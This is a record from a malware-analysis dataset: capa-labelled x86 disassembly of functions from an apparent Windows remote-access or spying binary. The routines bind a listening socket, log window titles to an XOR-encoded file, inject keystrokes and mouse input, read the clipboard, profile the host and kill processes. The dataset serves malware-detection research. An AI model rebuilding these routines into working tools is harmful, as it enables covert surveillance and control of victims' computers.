joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000941d
Capabilities:
Create tcp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
push ebx
push esi
lea eax, [ebp - 0x1a4]
push edi
push eax
push 0x202
call dword [0x10015d54]
test eax, eax
je 0x10009446
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x1000943f
xor eax, eax
lea edi, [ebp - 0xe]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ax, word [0x10015d58]
mov word [ebp - 0x10], 2
push eax
call dword [0x10016598]
mov word [ebp - 0xe], ax
lea eax, [ebp - 0x10]
push 0x10
xor esi, esi
push eax
push ebx
mov dword [ebp - 0xc], esi
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
je 0x1000943f
push 0x32
push ebx
call fcn.10008787
pop ecx
cmp eax, 0xffffffff
pop ecx
je 0x1000943f
push esi
push esi
push ebx
call dword [0x10016568]
push 8
mov edi, eax
call dword [sym.imp.MSVCRT.dll_malloc]
cmp eax, esi
pop ecx
je 0x100094a0
lea ecx, [ebp - 0x14]
mov dword [eax], edi
push ecx
push esi
push eax
push 0x10009193
push esi
push esi
call dword [0x10016564]
cmp eax, esi
jne 0x100094de
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x100094a0
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x100094a0

Function at 0x10009f08
Capabilities:
Encode data using xor
Get common file path
Get file size
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
push edi
lea eax, [ebp - 0x10c]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x10c]
push 0x100023e4
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
xor esi, esi
lea eax, [ebp - 0x10c]
push esi
push 0x80
push 4
push esi
push 2
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push esi
push eax
mov dword [ebp - 4], eax
mov dword [ebp - 8], esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x3200000
jae 0x10009f79
push 2
push esi
push esi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push dword [ebp + 8]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
call esi
mov edi, eax
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
test edi, edi
pop ecx
mov ebx, eax
jle 0x10009fa4
mov ecx, dword [ebp + 8]
sub ecx, ebx
mov dl, byte [ecx + eax]
xor dl, 0x62
mov byte [eax], dl
inc eax
dec edi
jne 0x10009f98
lea eax, [ebp - 8]
push 0
push eax
push dword [ebp + 8]
call esi
push eax
push ebx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10009fc8
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
push edi
call dword [sym.imp.USER32.dll_GetForegroundWindow]
and byte [ebp - 0x418], 0
mov edx, eax
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x417]
and dword [ebp - 4], 0
rep stosd dword es:[edi], eax
cmp edx, dword [0x10016c14]
mov dword [ebp - 8], edx
stosw word es:[edi], ax
stosb byte es:[edi], al
je 0x1000a0a9
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
push esi
mov esi, 0x10016c18
push esi
call ebx
test eax, eax
mov edi, 0x400
jle 0x1000a096
push 0x10015d60
call ebx
test eax, eax
jle 0x1000a074
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx eax, word [ebp - 0xc]
push eax
movzx eax, word [ebp - 0xe]
push eax
movzx eax, word [ebp - 0x10]
push eax
movzx eax, word [ebp - 0x12]
push eax
movzx eax, word [ebp - 0x16]
push eax
movzx eax, word [ebp - 0x18]
push eax
push esi
lea eax, [ebp - 0x418]
push 0x100023f0
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp - 0x418]
push eax
call fcn.10009f08
add esp, 0x28
push edi
lea eax, [ebp - 0x418]
push 0
push eax
call sub.MSVCRT.dll_memset
push edi
push 0
push esi
call sub.MSVCRT.dll_memset
add esp, 0x18
mov dword [ebp - 4], 1
mov eax, dword [ebp - 8]
push edi
push esi
push eax
mov dword [0x10016c14], eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
pop esi
pop ebx
mov eax, dword [ebp - 4]
pop edi
leave
ret

Function at 0x1000a31c
Capabilities:
Enumerate processes

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, 0x128
mov dword [esp + 0x10], eax
push esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov edi, eax
push edi
push dword [esp + 0x14]
mov dword [edi], esi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x1000a39d
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
je 0x1000a39d
push dword [esp + 0x18]
mov esi, dword [sym.imp.MSVCRT.dll__strupr]
lea ebx, [edi + 0x24]
call esi
pop ecx
push eax
push ebx
call esi
mov ebp, dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
push eax
jmp 0x1000a390
push edi
push dword [esp + 0x14]
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x1000a39d
push dword [esp + 0x18]
call esi
pop ecx
push eax
push ebx
call esi
pop ecx
push eax
call ebp
pop ecx
test eax, eax
pop ecx
jbe 0x1000a375
push 1
pop eax
jmp 0x1000a39f
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x1000a74d
Capabilities:
Delete file
Get common file path
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x310
push ebx
push esi
mov ebx, 0x104
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x108]
push ebx
mov dword [ebp - 4], ecx
push eax
call edi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x108]
push 0x1000161c
push eax
call esi
mov eax, dword [ebp - 4]
add eax, 0x10
push eax
lea eax, [ebp - 0x108]
push eax
call esi
lea eax, [ebp - 0x108]
push 0x10002458
push eax
call esi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
lea eax, [ebp - 0x20c]
push 0x10002450
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 4
lea eax, [ebp - 0x20c]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
lea eax, [ebp - 0x310]
push ebx
push eax
call edi
lea eax, [ebp - 0x310]
push 0x10002444
push eax
call esi
lea eax, [ebp - 0x310]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov esi, dword [ebp - 4]
cmp dword [esi + 0x9e54], 0x120
lea eax, [esi + 0x10]
push eax
je 0x1000a829
push 0x10002434
call fcn.100084c0
pop ecx
jmp 0x1000a82e
call fcn.10006eaa
pop ecx
add esi, 0x110
push esi
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1000aa6c
Capabilities:
Encode data using xor
Get common file path
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push ebx
lea eax, [ebp - 0x110]
xor ebx, ebx
push 0x104
mov dword [ebp - 0xc], ecx
push eax
mov dword [ebp - 8], ebx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x110]
push 0x100023e4
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push ebx
push 0x80
push 3
push ebx
push 1
lea eax, [ebp - 0x110]
push closesocket
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
je 0x1000ab10
push esi
push edi
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov esi, eax
lea eax, [ebp - 8]
push ebx
push eax
push edi
push esi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
cmp edi, ebx
jbe 0x1000aafb
xor byte [eax + esi], 0x62
inc eax
cmp eax, edi
jb 0x1000aaf2
mov ecx, dword [ebp - 0xc]
push edi
push esi
call fcn.1000aa09
push esi
mov ebx, eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
pop edi
pop esi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
pop ebx
leave
ret
Function at 0x1000b05c
Capabilities:
Delete registry key
Delete registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10003cc8
push 0x10014a5e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push esi
push edi
xor esi, esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 4], esi
mov eax, dword [ebp + 0x20]
sub eax, esi
je 0x1000b0fa
dec eax
je 0x1000b11b
dec eax
je 0x1000b0ce
dec eax
jne 0x1000b175
lea eax, [ebp - 0x24]
push eax
push 0x2001f
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000b175
push dword [ebp + 0x10]
push dword [ebp - 0x24]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
jmp 0x1000b16a
lea eax, [ebp - 0x24]
push eax
push 0x2001f
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000b175
push dword [ebp + 0x10]
push dword [ebp - 0x24]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
jmp 0x1000b16a
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x24]
push eax
push esi
push 0xf003f
push esi
push esi
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x1000b175
lea eax, [ebp - 0x24]
push eax
push 0x2001f
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000b175
mov edi, dword [ebp + 0x14]
cmp edi, esi
jbe 0x1000b175
cmp edi, 2
jbe 0x1000b14e
cmp edi, 4
jne 0x1000b175
push edi
lea eax, [ebp + 0x1c]
push eax
push edi
jmp 0x1000b15d
push dword [ebp + 0x18]
call sub.MSVCRT.dll_strlen
pop ecx
inc eax
push eax
push dword [ebp + 0x18]
push edi
push esi
push dword [ebp + 0x10]
push dword [ebp - 0x24]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1000b175
mov dword [ebp - 0x1c], 1
or dword [ebp - 4], 0xffffffff
call fcn.1000b190
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000b8a5
Capabilities:
Log keystrokes

Disassembly:
push ecx
push ecx
mov eax, dword [esp + 0x10]
push ebx
push 0x1c
xor edx, edx
pop ecx
div ecx
test edx, edx
jne 0x1000b9fc
call fcn.1000e6f5
mov eax, dword [esp + 0x14]
push 0x1c
xor edx, edx
pop ecx
div ecx
xor ebx, ebx
cmp eax, ebx
jle 0x1000b9fc
mov ecx, dword [esp + 0x10]
push ebp
mov ebp, dword [sym.imp.USER32.dll_mouse_event]
push esi
push edi
lea esi, [ecx + 8]
mov dword [esp + 0x20], eax
mov eax, dword [esi - 4]
cmp eax, 0x200
jb 0x1000b922
cmp eax, 0x208
ja 0x1000b922
mov edi, dword [esi + 4]
movzx eax, word [esi + 4]
shr edi, 0x10
push edi
push eax
mov dword [esp + 0x18], eax
call dword [sym.imp.USER32.dll_SetCursorPos]
push edi
push dword [esp + 0x14]
call dword [sym.imp.USER32.dll_WindowFromPoint]
push eax
call dword [sym.imp.USER32.dll_SetCapture]
mov eax, dword [esi - 4]
mov ecx, 0x203
cmp eax, ecx
ja 0x1000b992
je 0x1000b982
sub eax, 0x100
je 0x1000b97e
dec eax
je 0x1000b966
sub eax, 3
je 0x1000b97e
dec eax
je 0x1000b966
sub eax, 0xfc
je 0x1000b95b
dec eax
jne 0x1000b9ec
push ebx
push ebx
push ebx
push ebx
push 4
jmp 0x1000b9ea
push ebx
push ebx
push ebx
push ebx
push 2
jmp 0x1000b9ea
push ebx
push 2
push ebx
push dword [esi]
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
push eax
mov al, byte [esi]
push eax
call dword [sym.imp.USER32.dll_keybd_event]
jmp 0x1000b9ec
push ebx
push ebx
jmp 0x1000b969
push ebx
push ebx
push ebx
push ebx
push 6
call ebp
push ebx
push ebx
push ebx
push ebx
push 6
jmp 0x1000b9ea
sub eax, 0x204
je 0x1000b9e4
dec eax
je 0x1000b9dc
dec eax
je 0x1000b9cc
dec eax
je 0x1000b9c4
dec eax
je 0x1000b9bc
dec eax
dec eax
jne 0x1000b9ec
mov eax, dword [esi]
push ebx
shr eax, 0x10
movsx eax, ax
push eax
push ebx
push ebx
push 0x800
jmp 0x1000b9ea
push ebx
push ebx
push ebx
push ebx
push 0x40
jmp 0x1000b9ea
push ebx
push ebx
push ebx
push ebx
push 0x20
jmp 0x1000b9ea
push ebx
push ebx
push ebx
push ebx
push 0x18
call ebp
push ebx
push ebx
push ebx
push ebx
push 0x18
jmp 0x1000b9ea
push ebx
push ebx
push ebx
push ebx
push 0x10
jmp 0x1000b9ea
push ebx
push ebx
push ebx
push ebx
push 8
call ebp
add esi, 0x1c
dec dword [esp + 0x20]
jne 0x1000b8e9
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
ret 8
Function at 0x1000ba02
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ecx
push ebx
mov dword [esp + 4], ecx
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x1000ba7e
push 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov ebx, eax
test ebx, ebx
jne 0x1000ba2a
call dword [sym.imp.USER32.dll_CloseClipboard]
jmp 0x1000ba7e
push ebp
push esi
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalSize]
mov esi, eax
push ebx
inc esi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push esi
mov ebp, eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edi, eax
lea eax, [esi - 1]
push eax
push ebp
lea eax, [edi + 1]
mov byte [edi], 0x76
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0x10
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
mov ecx, dword [esp + 0x10]
push esi
push edi
call fcn.1000ab79
push edi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret

Function at 0x1000ba81
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x1000badf
push esi
call dword [sym.imp.USER32.dll_EmptyClipboard]
push dword [esp + 0xc]
push 0x2000
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x1000bad8
push esi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push dword [esp + 0xc]
push dword [esp + 0xc]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push esi
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
call dword [sym.imp.USER32.dll_CloseClipboard]
pop esi
ret 8
Function at 0x1000c6dd
Capabilities:
Terminate process

Disassembly:
mov eax, 0x100151e4
call fcn.100149e4
push ecx
push ebx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x10], esi
mov dword [esi], 0x10003ce4
push 1
xor edi, edi
push 0x54
push 0x10002558
mov dword [ebp - 4], edi
call dword [sym.imp.MSVCRT.dll__strnset]
add esp, 0xc
push eax
push 0x10001e7c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push edi
mov ebx, eax
push dword [esi + 0x28]
call ebx
push edi
push dword [esi + 0x20]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push edi
push dword [esi + 0x24]
call ebx
push 0x7d0
push dword [esi + 0x2c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push edi
push dword [esi + 0x2c]
call ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esi + 0x10]
cmp eax, edi
je 0x1000c772
push eax
call fcn.1000c699
pop ecx
mov eax, dword [esi + 0x14]
cmp eax, edi
je 0x1000c780
push eax
call fcn.1000c699
pop ecx
mov eax, dword [esi + 0x18]
cmp eax, edi
je 0x1000c78e
push eax
call fcn.1000c699
pop ecx
mov eax, dword [esi + 0x1c]
cmp eax, edi
je 0x1000c79c
push eax
call fcn.1000c699
pop ecx
push dword [esi + 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push dword [esi + 0x14]
call edi
push dword [esi + 0x18]
call edi
push dword [esi + 0x1c]
call edi
push dword [esi + 0x20]
call edi
push dword [esi + 0x24]
call edi
push dword [esi + 0x2c]
call edi
push dword [esi + 0x28]
call edi
or dword [ebp - 4], 0xffffffff
mov ecx, esi
call fcn.1000ab66
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret

Function at 0x1000cab4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
call fcn.1000c96a
pop ecx
pop ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
test eax, eax
jle 0x1000caf2
mov ecx, dword [ebp - 4]
add byte [ecx + edx], 0x7a
add ecx, edx
mov ecx, dword [ebp - 4]
xor byte [ecx + edx], 0x19
add ecx, edx
inc edx
cmp edx, eax
jl 0x1000cadb
mov eax, dword [ebp - 4]
leave
ret
Function at 0x1000cde8
Capabilities:
Get cpu information
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push 4
pop eax
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 4]
push eax
push 0x10002630
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
lea eax, [ebp - 8]
and byte [ebp - 0x14], 0
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x18]
push 0
push eax
push dword [ebp - 4]
mov byte [ebp - 0x18], 0x7e
mov byte [ebp - 0x17], 0x4d
mov byte [ebp - 0x16], 0x48
mov byte [ebp - 0x15], 0x7a
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x10]
leave
ret
Function at 0x1000d76a
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x808
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
push dword [ebp + 0x10]
xor ebx, ebx
push ebx
push edi
call sub.MSVCRT.dll_memset
push 0x400
lea eax, [ebp - 0x808]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
lea eax, [ebp - 0x408]
push 0x10001680
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x408]
push 0x1000165c
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push dword [ebp + 8]
lea eax, [ebp - 0x408]
push eax
lea eax, [ebp - 0x808]
push 0x10001654
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
push ebx
lea eax, [ebp - 8]
push dword [ebp + 0x10]
mov byte [ebp - 8], 0x48
mov byte [ebp - 7], 0x6f
mov byte [ebp - 6], 0x73
push ebx
push edi
push 1
push eax
lea eax, [ebp - 0x808]
mov byte [ebp - 5], 0x74
push eax
push reloc.WS2_32.dll_bind
mov byte [ebp - 4], bl
call fcn.1000ac21
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
add esp, 0x30
push edi
call esi
test eax, eax
jne 0x1000d824
push dword [ebp + 0x10]
push edi
call dword [sym.imp.WS2_32.dll_gethostname]
push edi
call esi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1000d82c
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
push dword [ebp + 0x10]
xor ebx, ebx
push ebx
push edi
call sub.MSVCRT.dll_memset
push 0x400
lea eax, [ebp - 0x410]
push ebx
push eax
call sub.MSVCRT.dll_memset
push dword [ebp + 8]
lea eax, [ebp - 0x410]
push 0x1000216c
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
push ebx
lea eax, [ebp - 0x10]
push dword [ebp + 0x10]
mov byte [ebp - 0x10], 0x43
mov byte [ebp - 0xf], 0x6f
mov byte [ebp - 0xe], 0x6e
push ebx
push edi
push 1
push eax
lea eax, [ebp - 0x410]
mov byte [ebp - 0xd], 0x6e
push eax
push reloc.WS2_32.dll_bind
mov byte [ebp - 0xc], 0x65
mov byte [ebp - 0xb], 0x63
mov byte [ebp - 0xa], 0x74
mov byte [ebp - 9], 0x47
mov byte [ebp - 8], 0x72
mov byte [ebp - 7], 0x6f
mov byte [ebp - 6], 0x75
mov byte [ebp - 5], 0x70
mov byte [ebp - 4], bl
call fcn.1000ac21
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
add esp, 0x44
push edi
call esi
test eax, eax
jne 0x1000d8d3
mov edi, 0x10002748
push edi
call esi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000d8db
Capabilities:
Check os version
Get local ipv4 addresses
Get memory capacity
Get socket information
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c0
and byte [ebp - 0x30a], 0
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetVersionExA]
push edi
lea eax, [ebp - 0x3f4]
mov edi, 0x9c
push eax
mov byte [ebp - 0x3f8], 0x66
mov dword [ebp - 0x3f4], edi
call esi
lea eax, [ebp - 0x5c0]
push pe_nt_image_headers32
push eax
push dword [ebp + 8]
call fcn.1000d76a
push 0x10
lea eax, [ebp - 0x34]
pop ebx
push ebx
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], ebx
push eax
lea eax, [ebp - 0x34]
push eax
mov eax, dword [ebp + 0x10]
push dword [eax + 0xa8]
call dword [sym.imp.WS2_32.dll_getsockname]
lea eax, [ebp - 0x30]
push 4
push eax
lea eax, [ebp - 0x340]
push eax
call sub.MSVCRT.dll_memcpy
lea eax, [ebp - 0x5c0]
push 0x32
push eax
lea eax, [ebp - 0x33c]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0x18
call fcn.1000cde8
mov dword [ebp - 0x358], eax
call fcn.1000ce95
mov byte [ebp - 0x30a], al
lea eax, [ebp - 0x134]
push eax
mov dword [ebp - 0x134], edi
call esi
cmp dword [ebp - 0x130], 5
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
mov edi, 0x1000246c
jne 0x1000d9cf
cmp dword [ebp - 0x12c], 0
jne 0x1000d9cf
lea eax, [ebp - 0x354]
push 0x10001db0
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x1000d9ef
lea eax, [ebp - 0x98]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push dword [ebp - 0x84]
lea eax, [ebp - 0x354]
push edi
push eax
call esi
add esp, 0xc
call fcn.1000ce95
mov byte [ebp - 0x30a], al
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 4], eax
mov ebx, 0x5265c00
cdq
mov ecx, ebx
idiv ecx
push eax
lea eax, [ebp - 0x45c]
push edi
push eax
call esi
mov eax, dword [ebp - 4]
mov ecx, 0x36ee80
cdq
idiv ebx
mov eax, edx
cdq
idiv ecx
push eax
lea eax, [ebp - 0x4c0]
push edi
push eax
call esi
lea eax, [ebp - 0x4c0]
push eax
lea eax, [ebp - 0x45c]
push eax
lea eax, [ebp - 0x309]
push 0x1000275c
push eax
call esi
lea eax, [ebp - 0x24]
push eax
call fcn.1000ce48
add esp, 0x2c
test eax, eax
je 0x1000daa0
xor edi, edi
push edi
push dword [ebp - 0x14]
push edi
push dword [ebp - 0x10]
call fcn.10014ac0
push edi
push dword [ebp - 0x18]
push edx
push eax
call fcn.10014ac0
push dword [ebp - 0x20]
push dword [ebp - 0x24]
push edx
push eax
call fcn.10014ac0
mov dword [ebp - 8], eax
mov dword [ebp - 4], edx
fild qword [ebp - 8]
fmul dword [0x10003cec]
call sub.MSVCRT.dll__ftol
mov dword [ebp - 0x1dc], eax
lea eax, [ebp - 0x74]
mov dword [ebp - 0x74], 0x40
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov eax, dword [ebp - 0x6c]
mov edx, dword [ebp - 0x68]
push 0x14
pop ecx
call fcn.10014a70
add eax, 1
adc edx, 0
push edx
push eax
lea eax, [ebp - 0x1d8]
push 0x10002754
push eax
call esi
call fcn.1000ceca
push eax
lea eax, [ebp - 0x1a6]
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x156]
push 0x20
push eax
push dword [ebp + 8]
call fcn.1000d82c
mov ecx, dword [ebp + 0x10]
add esp, 0x24
lea eax, [ebp - 0x3f8]
push 0x2c4
push eax
call fcn.100057a4
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000e13b
Capabilities:
Acquire debug privileges
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov ebx, 0x10002198
push 1
mov dword [ebp - 4], ecx
push ebx
call fcn.1000e3bb
xor esi, esi
pop ecx
cmp dword [ebp + 0xc], esi
pop ecx
jbe 0x1000e189
push edi
mov eax, dword [ebp + 8]
push dword [esi + eax]
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add esi, 4
cmp esi, dword [ebp + 0xc]
jb 0x1000e15b
pop edi
push 0
push ebx
call fcn.1000e3bb
pop ecx
pop ecx
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 4]
call fcn.1000e0e9
mov ecx, dword [ebp - 4]
call fcn.1000e112
pop esi
pop ebx
leave
ret 8